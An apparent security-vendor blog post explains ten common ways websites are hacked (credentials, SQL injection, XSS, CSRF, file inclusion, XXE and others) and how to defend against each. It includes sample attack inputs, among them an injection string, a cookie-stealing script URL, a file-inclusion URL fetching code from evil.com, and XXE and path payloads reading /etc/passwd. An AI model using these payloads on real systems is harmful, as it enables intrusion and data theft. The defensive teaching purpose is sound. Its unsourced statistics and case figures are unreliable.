10 Most Common Ways Websites Get Hacked in 2025: The Threats Hiding in Plain Sight

Your website is under attack right now. Here’s how hackers are getting in—and how to stop them.

Every 39 seconds, somewhere in the world, a website gets hacked. That’s not a scare tactic—it’s mathematics based on the 2,244 cyberattacks occurring daily. And if you think your website is too small to be a target, think again. Automated bots don’t discriminate between Fortune 500 companies and local businesses. They scan, probe, and exploit vulnerabilities 24/7, looking for the path of least resistance.

The landscape of web security threats has evolved dramatically. While some attack vectors remain stubbornly persistent (I’m looking at you, weak passwords), new techniques emerge as technology advances. In 2025, we’re seeing a perfect storm: increasingly sophisticated attack tools available to amateur hackers, widespread adoption of complex web technologies creating new vulnerabilities, and a growing number of websites managed by people without security expertise.

But here’s the good news: most successful website hacks exploit preventable vulnerabilities. Understanding how attackers operate is the first step toward building defenses that actually work.

Let’s cut through the technical jargon and examine the ten most common ways websites get compromised in 2025—and more importantly, what you can do about it.

1. Weak and Compromised Credentials: The Gift That Keeps on Giving

The Problem: Despite decades of security awareness campaigns, weak passwords remain the #1 entry point for website compromises. In 2025, over 65% of successful website breaches involve compromised credentials.

How Attackers Exploit This

Modern credential attacks have evolved beyond simple guessing:

Credential Stuffing: Attackers use billions of username/password combinations leaked from previous data breaches. They know people reuse passwords across sites, so they automate login attempts across thousands of websites simultaneously. If you used the same password for your WordPress admin panel as you did for that breached retail site in 2023, you’re vulnerable.

Brute Force 2.0: Today’s brute force attacks are smarter. Instead of trying every possible combination, attackers use:

  • Password dictionaries containing the most common passwords
  • Permutations of common words with predictable patterns (“Password123!”)
  • Targeted lists based on the victim (company name, industry terms)
  • Distributed attacks from multiple IPs to evade rate limiting

The Real-World Impact: In early 2025, a mid-sized e-commerce site lost $340,000 when attackers gained access through an administrator account protected only by “Admin2024!”. The breach took 48 hours to detect—during which customer payment information was harvested.

Prevention Strategies

Immediate Actions:

  • Enforce minimum password requirements (16+ characters, complexity rules)
  • Implement mandatory multi-factor authentication (MFA) for all admin accounts
  • Deploy account lockout policies after failed login attempts
  • Use a password manager to generate and store unique credentials

Advanced Protection:

  • Web application firewalls (WAF) that detect and block credential stuffing patterns
  • Login attempt rate limiting and geographic IP restrictions
  • Monitoring for credential leaks on the dark web
  • Regular credential audits to identify weak passwords before attackers do

Professional security services can implement adaptive authentication systems that analyze login patterns, device fingerprints, and behavioral biometrics to detect compromised credentials even when the correct password is used.

2. Outdated Software and Plugin Vulnerabilities: The Ticking Time Bomb

The Problem: Every day your website runs on outdated software, you’re essentially leaving the front door unlocked. In 2025, 68% of WordPress hacks exploit known vulnerabilities in outdated plugins or themes.

The Vulnerability Lifecycle

Here’s how this attack unfolds:

  1. Disclosure: A security researcher discovers a vulnerability in popular software
  2. Patch Release: Developers release an update fixing the vulnerability
  3. Public Knowledge: The vulnerability details become public (CVE databases)
  4. The Race: Defenders must update before attackers exploit the known flaw
  5. Mass Exploitation: Automated scanners identify unpatched sites within hours

The Danger Zone: The period between public disclosure and patching is when mass exploitation occurs. Attackers know exactly what to look for and have exploit code ready to deploy.

Real-World Case Study

In March 2025, a critical vulnerability in a popular WordPress form builder plugin affected over 1.2 million websites. Within 72 hours of public disclosure:

  • 47,000 websites were compromised
  • Attackers installed backdoors, crypto miners, and data stealers
  • The average cleanup cost was $4,200 per site
  • Many sites remained infected for weeks before detection

The tragic irony? The patch was available. Site owners simply hadn’t updated.

Why Updates Get Ignored

Website owners skip updates for understandable but misguided reasons:

  • Fear of breaking functionality
  • “If it ain’t broke, don’t fix it” mentality
  • Lack of testing environments
  • Sheer volume of updates to manage
  • Not knowing updates are available

The Prevention Framework

Automated Update Management:

  • Enable automatic updates for minor security patches
  • Establish weekly update review and testing cycles
  • Maintain staging environments for testing major updates
  • Subscribe to security bulletins for critical vulnerabilities

Plugin Hygiene:

  • Audit installed plugins quarterly—remove unused ones
  • Only install plugins from reputable sources with active support
  • Check last update date (avoid plugins abandoned for 6+ months)
  • Monitor plugin CVE listings for security issues

Professional Monitoring:

  • Managed security services provide 24/7 vulnerability monitoring
  • Automated testing of updates before production deployment
  • Emergency patching protocols for critical vulnerabilities
  • Rollback capabilities if updates cause issues

3. SQL Injection: Still Thriving After All These Years

The Problem: SQL injection (SQLi) attacks allow attackers to manipulate database queries, potentially exposing, modifying, or deleting your entire database. Despite being a well-known threat since the late 1990s, SQLi remains in the OWASP Top 10 for 2025.

How SQL Injection Works

Your website likely uses a database to store everything: user accounts, product inventory, customer information, blog posts. When a user interacts with your site (searching products, logging in, filling forms), the application constructs SQL queries to retrieve or modify data.

Vulnerable code example:

php

$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";

An attacker submits: admin' OR '1'='1

The resulting query becomes:

sql

SELECT * FROM users WHERE username = 'admin' OR '1'='1'
```

Since '1'='1' is always true, this bypasses authentication entirely.

### Advanced SQLi Techniques in 2025

Modern attackers use sophisticated variations:

**Time-Based Blind SQL Injection**: When error messages are hidden, attackers use database sleep functions to infer information based on response times.

**Second-Order SQL Injection**: Malicious input is stored in the database, then later executed in a different context—evading input validation.

**NoSQL Injection**: As MongoDB and similar databases gain popularity, attackers exploit JSON-based injection vulnerabilities.

### The Devastating Consequences

A successful SQL injection can:
- Dump entire user databases (credentials, personal information)
- Modify or delete critical data
- Bypass authentication and access admin panels
- Execute operating system commands on the database server
- Install persistent backdoors

### Prevention: Defense in Depth

**Code-Level Protection**:
- **Parameterized queries (prepared statements)**: The gold standard—separates code from data
- **Input validation**: Whitelist allowed characters, reject everything else
- **Stored procedures**: Pre-compiled SQL reduces injection surface
- **ORM frameworks**: Tools like Hibernate abstract SQL and reduce direct query construction

**Infrastructure Defense**:
- **Web Application Firewalls**: Detect and block SQLi patterns before they reach your application
- **Database activity monitoring**: Alert on suspicious queries
- **Principle of least privilege**: Database accounts should have minimum necessary permissions
- **Regular security testing**: Automated SQLi scanning in CI/CD pipelines

**Comprehensive security services include regular penetration testing specifically targeting injection vulnerabilities, ensuring both legacy code and new features are protected.**

## 4. Cross-Site Scripting (XSS): Turning Your Website Against Your Users

**The Problem**: XSS attacks inject malicious scripts into web pages viewed by other users. In 2025, XSS accounts for nearly 40% of all web application attacks, particularly targeting e-commerce and social platforms.

### The Three Flavors of XSS

**Reflected XSS**: Malicious script is immediately reflected back from a web request. Common in search functions and error messages.

*Example*: An attacker sends a victim a link like:
```
https://yoursite.com/search?q=<script>steal_cookies()</script>

Stored XSS: Malicious script is permanently stored on the target server (in a database, forum post, comment field) and served to anyone who views that content. This is the most dangerous form.

DOM-Based XSS: The vulnerability exists in client-side code rather than server-side, manipulating the browser’s Document Object Model.

Real-World Attack Scenario

In January 2025, a major online marketplace suffered a stored XSS attack through product reviews:

  1. Attacker posted a review containing malicious JavaScript
  2. The script executed for every user viewing that product
  3. It captured session cookies and sent them to attacker-controlled servers
  4. Attackers hijacked 12,000+ user sessions
  5. Fraudulent purchases were made; accounts were drained

Total damages exceeded $1.8 million before detection.

What Attackers Steal Through XSS

  • Session tokens: Complete account takeover
  • Keystrokes: Capture passwords, credit card numbers
  • Page content: Steal sensitive information displayed on screen
  • User actions: Perform unauthorized transactions
  • Ransomware delivery: Redirect to malicious downloads

XSS Prevention Strategies

Output Encoding: The cornerstone of XSS defense—encode data before displaying it. HTML entities replace dangerous characters:

  • < becomes &lt;
  • > becomes &gt;
  • " becomes &quot;

Content Security Policy (CSP): HTTP headers that instruct browsers on legitimate script sources. Properly configured CSP prevents inline scripts from executing.

Input Sanitization: While output encoding is primary defense, sanitizing input adds an extra layer:

  • Strip HTML tags from user input
  • Validate data types (numbers where numbers expected)
  • Restrict input length

Framework Protection: Modern frameworks (React, Angular, Vue) provide built-in XSS protection—but developers can bypass these safeguards if not careful.

Security headers: Implement X-XSS-Protection, X-Content-Type-Options, and X-Frame-Options.

Professional security audits identify XSS vulnerabilities through both automated scanning and manual testing, examining every input field and output point across your application.

5. Cross-Site Request Forgery (CSRF): The Invisible Attack

The Problem: CSRF tricks authenticated users into executing unwanted actions on websites where they’re logged in. The user appears legitimate to the server, making detection difficult.

How CSRF Works

Imagine you’re logged into your bank account in one browser tab. You click a link in an email that opens in another tab. That page contains hidden code:

html

<img src="https://yourbank.com/transfer?amount=5000&to=attacker">
```

Since you're authenticated, your browser automatically sends your session cookie with the request. The bank sees a legitimate request from your authenticated session and processes the transfer.

### CSRF in 2025: More Sophisticated

Modern CSRF attacks are harder to detect:
- **Hidden iFrames**: Invisible frames execute requests without user awareness
- **AJAX requests**: More flexible than simple form submissions
- **Cross-domain exploits**: Leverage weak CORS policies
- **Social engineering**: Attackers craft convincing pretexts to visit malicious pages

### Prevention Mechanisms

**Anti-CSRF Tokens**: The standard defense:
1. Server generates unique, unpredictable token for each session
2. Token embedded in forms and AJAX requests
3. Server validates token matches before processing requests
4. Attackers can't forge valid tokens

**SameSite Cookies**: Modern cookie attribute preventing cross-site request inclusion:
```
Set-Cookie: sessionid=abc123; SameSite=Strict

Double-Submit Cookie Pattern: Backup defense when token-based isn’t feasible.

User Interaction Requirements: Require re-authentication for sensitive actions (password changes, fund transfers, account deletions).

Properly configured security services ensure CSRF protection across all state-changing operations, not just obvious targets like payment forms.

6. Remote File Inclusion (RFI) and Local File Inclusion (LFI): The Backdoor Builders

The Problem: File inclusion vulnerabilities allow attackers to execute arbitrary code on your server, often leading to complete system compromise.

The Mechanics

Many web applications dynamically include files based on user input:

php

<?php
$page = $_GET['page'];
include($page . '.php');
?>
```

**RFI Attack**: Attacker supplies external URL:
```
https://yoursite.com/index.php?page=http://evil.com/malware
```

**LFI Attack**: Attacker accesses sensitive local files:
```
https://yoursite.com/index.php?page=../../../../etc/passwd

The Devastating Chain Reaction

Once attackers achieve file inclusion, they typically:

  1. Upload web shells (backdoor scripts)
  2. Establish persistent access
  3. Escalate privileges
  4. Install crypto miners or ransomware
  5. Pivot to internal networks
  6. Exfiltrate sensitive data

Defense Strategy

Input Validation: Whitelist allowed file names—never trust user input:

php

$allowed = ['home', 'about', 'products'];
if (in_array($_GET['page'], $allowed)) {
    include($_GET['page'] . '.php');
}
```

**Disable Remote Includes**: PHP configuration:
```
allow_url_include = Off
allow_url_fopen = Off

Path Traversal Prevention: Normalize file paths and restrict to specific directories.

File Permission Hardening: Web server should have minimal file system access.

Security services provide code review specifically targeting file operation vulnerabilities, plus runtime monitoring to detect attempted exploitation.

7. XML External Entity (XXE) Attacks: Exploiting the Parser

The Problem: Applications that parse XML input are vulnerable to XXE attacks, which can expose files, conduct SSRF attacks, and cause denial of service.

How XXE Works

XML supports “entities”—shortcuts to insert content. External entities reference external resources:

xml

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

When parsed, this returns the server’s password file.

XXE Attack Vectors in 2025

  • File disclosure: Read sensitive server files
  • SSRF (Server-Side Request Forgery): Make server perform requests to internal systems
  • DoS: Billion laughs attack (recursive entity expansion)
  • Remote code execution: In specific configurations

Prevention

Disable External Entities: Primary defense in XML parser configuration:

php

libxml_disable_entity_loader(true);
```

**Use Simpler Formats**: JSON doesn't have entity features—safer for most applications.

**Input Validation**: If XML is necessary, strictly validate structure and content.

**Update Parsers**: Modern XML libraries have XXE protection built-in.

## 8. Security Misconfigurations: The Devil in the Details

**The Problem**: In 2025, security misconfigurations cause more breaches than sophisticated zero-day exploits. These are preventable errors in setup and maintenance.

### Common Misconfigurations

**Default Credentials**: Unchanged admin/admin logins on databases, routers, control panels.

**Directory Listing**: Web server exposes directory contents, revealing structure and sensitive files.

**Verbose Error Messages**: Detailed errors leak system information to attackers:
```
Fatal error: MySQL query failed: SELECT * FROM users WHERE id=1 in /var/www/site/includes/database.php on line 47
```

**Unnecessary Services**: Running services you don't need expands attack surface.

**Missing Security Headers**: Not implementing HTTP security headers leaves known protections disabled.

**Exposed Management Interfaces**: Admin panels accessible from public internet.

**Inadequate Logging**: Can't detect breaches without proper logs.

### The Configuration Hardening Checklist

- Remove default accounts and sample content
- Disable directory listing and file browsing
- Implement generic error messages (log details server-side)
- Close unused ports and services
- Deploy comprehensive security headers
- Restrict admin interface access by IP
- Enable detailed security logging
- Regular configuration audits against security benchmarks

**Professional security services conduct configuration assessments against industry standards like CIS Benchmarks and NIST guidelines, identifying misconfigurations before attackers do.**

## 9. Insufficient Access Controls: The Internal Threat

**The Problem**: Broken access control allows users to access resources they shouldn't. This might mean a regular user accessing admin functions or one user viewing another's private data.

### Common Access Control Failures

**Insecure Direct Object References (IDOR)**: URLs or parameters directly reference database objects without authorization checks:
```
https://site.com/account?id=1234
```
Changing "1234" to "1235" shows another user's account.

**Vertical Privilege Escalation**: Regular users access admin functions by modifying requests.

**Horizontal Privilege Escalation**: Users access other users' data at the same privilege level.

**Missing Function Level Access Control**: Authorization checked on UI but not on backend API.

### Real-World Example

A popular fitness app in 2025 suffered an IDOR vulnerability where changing a single parameter in API requests exposed any user's:
- Personal health data
- GPS running routes (including home addresses)
- Private workout photos
- Contact information

The vulnerability existed for 8 months, affecting 4.2 million users.

### Access Control Best Practices

**Deny by Default**: Access denied unless explicitly granted.

**Server-Side Enforcement**: Never trust client-side access controls—enforce on backend.

**Use Indirect References**: Map user requests to internal objects:
```
User requests: /document/abc123 (random token)
Server maps: abc123 → document_id 1234 (if authorized)

Role-Based Access Control (RBAC): Define roles with specific permissions, assign users to roles.

Regular Access Reviews: Audit who has access to what—revoke unnecessary permissions.

Comprehensive security assessments test all access control points, attempting to bypass restrictions through parameter manipulation, forced browsing, and privilege escalation.

10. Supply Chain Attacks: The Trojan Horse Problem

The Problem: Modern websites rely on dozens of third-party libraries, plugins, themes, and services. Each represents a potential attack vector. In 2025, supply chain attacks increased 78% year-over-year.

How Supply Chain Attacks Unfold

Compromised Dependencies: Attackers compromise legitimate packages:

  • Submit malicious code to popular npm packages
  • Hack maintainer accounts and push backdoored updates
  • Create typo-squatted packages (lodahs instead of lodash)

Malicious Plugins: Attackers create seemingly legitimate WordPress plugins that contain hidden malware.

Third-Party Script Compromises: JavaScript from CDNs or analytics providers gets backdoored.

Abandoned Software: Unmaintained projects get taken over by malicious actors.

The 2025 Supply Chain Landscape

Recent supply chain attacks demonstrate the threat:

Case 1: A popular WordPress SEO plugin (6+ million installations) was acquired by a new company. Three months later, an update included code that injected affiliate links and redirected search traffic. Financial loss to site owners: estimated $40 million.

Case 2: An npm package used by thousands of websites was compromised. Updates contained crypto wallet stealers that activated 30 days post-installation—after passing through most security scans.

Supply Chain Defense Strategy

Vendor Assessment:

  • Research plugin/library developers
  • Check update frequency and support responsiveness
  • Review user ratings and security history
  • Prefer open-source with active communities

Dependency Monitoring:

  • Use tools like npm audit, Snyk, or OWASP Dependency-Check
  • Enable automated vulnerability alerts
  • Review dependency trees (know what your dependencies use)

Integrity Verification:

  • Use Subresource Integrity (SRI) for external scripts:

html

<script src="https://cdn.example.com/script.js" 
        integrity="sha384-hash-value" 
        crossorigin="anonymous"></script>

Minimize Attack Surface:

  • Audit and remove unused dependencies quarterly
  • Limit third-party integrations to essentials
  • Self-host critical scripts when possible

Sandbox Third-Party Code: Use Content Security Policy to restrict what external scripts can do.

Managed security services include continuous supply chain monitoring, alerting on newly discovered vulnerabilities in your dependencies, and providing rapid response protocols when supply chain compromises occur.

The Bottom Line: Defense Requires Professional Expertise

If your head is spinning from the complexity of modern web security threats, you’re not alone. The attack surface has expanded dramatically, and the technical knowledge required to defend against these ten attack vectors is substantial.

Here’s the uncomfortable truth: most website owners and even many developers don’t have the specialized security expertise to defend against determined attackers. And that’s okay—you don’t need to become a security expert. You need to partner with professionals who live and breathe this stuff.

What Professional Security Services Provide

Proactive Defense:

  • Vulnerability scanning and penetration testing
  • Security code reviews
  • Configuration hardening
  • Web application firewall deployment and management

Continuous Monitoring:

  • 24/7 threat detection and incident response
  • Real-time vulnerability intelligence
  • Dark web monitoring for credential leaks
  • Security event correlation and analysis

Rapid Response:

  • Incident response plans and execution
  • Malware removal and system restoration
  • Forensic investigation
  • Post-breach security improvements

Compliance and Governance:

  • GDPR, PCI-DSS, HIPAA compliance assistance
  • Security policy development
  • Regular security audits
  • Documentation and reporting

The ROI of Prevention

Consider the costs of a successful attack:

  • Direct losses: Stolen funds, ransom payments, data theft
  • Recovery costs: Incident response, forensics, cleanup ($4,200-$45,000 average)
  • Downtime: Lost revenue during outage ($5,600 per minute for e-commerce)
  • Reputation damage: Lost customers, decreased trust
  • Legal consequences: Regulatory fines, lawsuits
  • Notification costs: Informing affected users
  • Credit monitoring: Often required for affected parties

The average total cost of a website breach in 2025: $126,000 for small to medium businesses.

Compare that to comprehensive security services: $200-$2,000 monthly depending on site complexity.

Prevention isn’t just cheaper—it’s the only viable strategy.

Take Action Today

Every day you delay improving your website security is a day you’re vulnerable. The attacks outlined in this article aren’t theoretical—they’re happening right now to websites just like yours.

Start with these immediate actions:

  1. Audit your current state: Understand your vulnerabilities
  2. Implement basic hygiene: Strong passwords, MFA, updates
  3. Deploy a web application firewall: Your first line of defense
  4. Engage security professionals: Get expert assessment and monitoring

The websites that survive and thrive in 2025’s threat landscape are those that take security seriously from day one. The question isn’t whether you can afford professional security services—it’s whether you can afford not to have them.

Your website is under attack. The only question is: are you ready to defend it?